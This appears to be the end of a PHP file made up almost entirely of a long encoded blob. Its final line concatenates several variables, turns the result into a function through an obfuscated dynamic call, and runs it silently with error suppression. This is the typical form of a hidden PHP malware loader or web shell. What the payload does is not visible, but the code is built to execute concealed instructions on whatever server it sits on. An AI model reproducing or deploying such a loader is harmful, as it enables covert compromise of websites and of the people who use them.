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'";$JTx2343.=$pHFdNhg9688;$JTx2343.=$UrR1094;$JTx2343.=$MYtraky2482;@$mEriqO3481=$q2866((''), ($JTx2343));@$mEriqO3481();